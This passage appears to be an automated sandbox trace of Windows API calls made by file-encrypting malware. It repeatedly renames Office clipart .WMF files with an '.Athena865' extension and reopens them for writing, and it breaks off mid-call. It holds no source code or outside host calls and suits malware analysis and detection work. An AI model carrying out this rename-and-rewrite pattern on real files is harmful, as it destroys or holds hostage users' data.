office\\clipart\\pub60cor\\so00513_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.454] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5924) returned 1 [0134.459] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00555_.WMF" | out: lpString1="SO00555_.WMF") returned="SO00555_.WMF" [0134.459] lstrlenW (lpString="SO00555_.WMF") returned 12 [0134.460] lstrlenW (lpString="Athena865") returned 9 [0134.460] lstrcmpiW (lpString1="0555_.WMF", lpString2="Athena865") returned -1 [0134.460] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.Athena865") returned 73 [0134.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.462] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9730) returned 1 [0134.467] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00603_.WMF" | out: lpString1="SO00603_.WMF") returned="SO00603_.WMF" [0134.468] lstrlenW (lpString="SO00603_.WMF") returned 12 [0134.468] lstrlenW (lpString="Athena865") returned 9 [0134.468] lstrcmpiW (lpString1="0603_.WMF", lpString2="Athena865") returned -1 [0134.468] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.Athena865") returned 73 [0134.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.469] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25184) returned 1 [0134.472] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00610_.WMF" | out: lpString1="SO00610_.WMF") returned="SO00610_.WMF" [0134.472] lstrlenW (lpString="SO00610_.WMF") returned 12 [0134.472] lstrlenW (lpString="Athena865") returned 9 [0134.472] lstrcmpiW (lpString1="0610_.WMF", lpString2="Athena865") returned -1 [0134.473] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.Athena865") returned 73 [0134.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.474] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40064) returned 1 [0134.481] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00629_.WMF" | out: lpString1="SO00629_.WMF") returned="SO00629_.WMF" [0134.481] lstrlenW (lpString="SO00629_.WMF") returned 12 [0134.481] lstrlenW (lpString="Athena865") returned 9 [0134.481] lstrcmpiW (lpString1="0629_.WMF", lpString2="Athena865") returned -1 [0134.481] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.Athena865") returned 73 [0134.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.483] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4070) returned 1 [0134.486] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00633_.WMF" | out: lpString1="SO00633_.WMF") returned="SO00633_.WMF" [0134.486] lstrlenW (lpString="SO00633_.WMF") returned 12 [0134.486] lstrlenW (lpString="Athena865") returned 9 [0134.486] lstrcmpiW (lpString1="0633_.WMF", lpString2="Athena865") returned -1 [0134.486] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.Athena865") returned 73 [0134.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.488] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20486) returned 1 [0134.493] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00638_.WMF" | out: lpString1="SO00638_.WMF") returned="SO00638_.WMF" [0134.493] lstrlenW (lpString="SO00638_.WMF") returned 12 [0134.493] lstrlenW (lpString="Athena865") returned 9 [0134.493] lstrcmpiW (lpString1="0638_.WMF", lpString2="Athena865") returned -1 [0134.493] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.Athena865") returned 73 [0134.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.495] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6842) returned 1 [0134.498] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00656_.WMF" | out: lpString1="SO00656_.WMF") returned="SO00656_.WMF" [0134.498] lstrlenW (lpString="SO00656_.WMF") returned 12 [0134.498] lstrlenW (lpString="Athena865") returned 9 [0134.498] lstrcmpiW (lpString1="0656_.WMF", lpString2="Athena865") returned -1 [0134.498] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.Athena865") returned 73 [0134.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.500] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1412) returned 1 [0134.504] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00668_.WMF" | out: lpString1="SO00668_.WMF") returned="SO00668_.WMF" [0134.504] lstrlenW (lpString="SO00668_.WMF") returned 12 [0134.505] lstrlenW (lpString="Athena865") returned 9 [0134.505] lstrcmpiW (lpString1="0668_.WMF", lpString2="Athena865") returned -1 [0134.505] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.Athena865") returned 73 [0134.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.506] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5714) returned 1 [0134.509] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00670_.WMF" | out: lpString1="SO00670_.WMF") returned="SO00670_.WMF" [0134.509] lstrlenW (lpString="SO00670_.WMF") returned 12 [0134.509] lstrlenW (lpString="Athena865") returned 9 [0134.509] lstrcmpiW (lpString1="0670_.WMF", lpString2="Athena865") returned -1 [0134.509] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.Athena865") returned 73 [0134.509] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.511] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5824) returned 1 [0134.517] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00671_.WMF" | out: lpString1="SO00671_.WMF") returned="SO00671_.WMF" [0134.518] lstrlenW (lpString="SO00671_.WMF") returned 12 [0134.518] lstrlenW (lpString="Athena865") returned 9 [0134.518] lstrcmpiW (lpString1="0671_.WMF", lpString2="Athena865") returned -1 [0134.518] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.Athena865") returned 73 [0134.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.521] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1488) returned 1 [0134.526] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00683_.WMF" | out: lpString1="SO00683_.WMF") returned="SO00683_.WMF" [0134.526] lstrlenW (lpString="SO00683_.WMF") returned 12 [0134.526] lstrlenW (lpString="Athena865") returned 9 [0134.526] lstrcmpiW (lpString1="0683_.WMF", lpString2="Athena865") returned -1 [0134.526] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.Athena865") returned 73 [0134.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.528] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25270) returned 1 [0134.534] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00694_.WMF" | out: lpString1="SO00694_.WMF") returned="SO00694_.WMF" [0134.534] lstrlenW (lpString="SO00694_.WMF") returned 12 [0134.534] lstrlenW (lpString="Athena865") returned 9 [0134.534] lstrcmpiW (lpString1="0694_.WMF", lpString2="Athena865") returned -1 [0134.534] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.Athena865") returned 73 [0134.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.537] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25346) returned 1 [0134.542] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00704_.WMF" | out: lpString1="SO00704_.WMF") returned="SO00704_.WMF" [0134.542] lstrlenW (lpString="SO00704_.WMF") returned 12 [0134.542] lstrlenW (lpString="Athena865") returned 9 [0134.542] lstrcmpiW (lpString1="0704_.WMF", lpString2="Athena865") returned -1 [0134.542] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.Athena865") returned 73 [0134.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.544] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13878) returned 1 [0134.552] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00726_.WMF" | out: lpString1="SO00726_.WMF") returned="SO00726_.WMF" [0134.552] lstrlenW (lpString="SO00726_.WMF") returned 12 [0134.552] lstrlenW (lpString="Athena865") returned 9 [0134.552] lstrcmpiW (lpString1="0726_.WMF", lpString2="Athena865") returned -1 [0134.552] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.Athena865") returned 73 [0134.552] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.554] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=91256) returned 1 [0134.562] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00728_.WMF" | out: lpString1="SO00728_.WMF") returned="SO00728_.WMF" [0134.562] lstrlenW (lpString="SO00728_.WMF") returned 12 [0134.562] lstrlenW (lpString="Athena865") returned 9 [0134.562] lstrcmpiW (lpString1="0728_.WMF", lpString2="Athena865") returned -1 [0134.562] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.Athena865") returned 73 [0134.562] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.563] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5976) returned 1 [0134.567] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00732_.WMF" | out: lpString1="SO00732_.WMF") returned="SO00732_.WMF" [0134.567] lstrlenW (lpString="SO00732_.WMF") returned 12 [0134.567] lstrlenW (lpString="Athena865") returned 9 [0134.567] lstrcmpiW (lpString1="0732_.WMF", lpString2="Athena865") returned -1 [0134.567] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.Athena865") returned 73 [0134.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.568] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5116) returned 1 [0134.573] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00734_.WMF" | out: lpString1="SO00734_.WMF") returned="SO00734_.WMF" [0134.573] lstrlenW (lpString="SO00734_.WMF") returned 12 [0134.573] lstrlenW (lpString="Athena865") returned 9 [0134.573] lstrcmpiW (lpString1="0734_.WMF", lpString2="Athena865") returned -1 [0134.573] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.Athena865") returned 73 [0134.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.575] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1632) returned 1 [0134.577] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00735_.WMF" | out: lpString1="SO00735_.WMF") returned="SO00735_.WMF" [0134.577] lstrlenW (lpString="SO00735_.WMF") returned 12 [0134.577] lstrlenW (lpString="Athena865") returned 9 [0134.577] lstrcmpiW (lpString1="0735_.WMF", lpString2="Athena865") returned -1 [0134.577] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.Athena865") returned 73 [0134.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.579] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1484) returned 1 [0134.585] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00736_.WMF" | out: lpString1="SO00736_.WMF") returned="SO00736_.WMF" [0134.585] lstrlenW (lpString="SO00736_.WMF") returned 12 [0134.585] lstrlenW (lpString="Athena865") returned 9 [0134.585] lstrcmpiW (lpString1="0736_.WMF", lpString2="Athena865") returned -1 [0134.585] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.Athena865") returned 73 [0134.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, 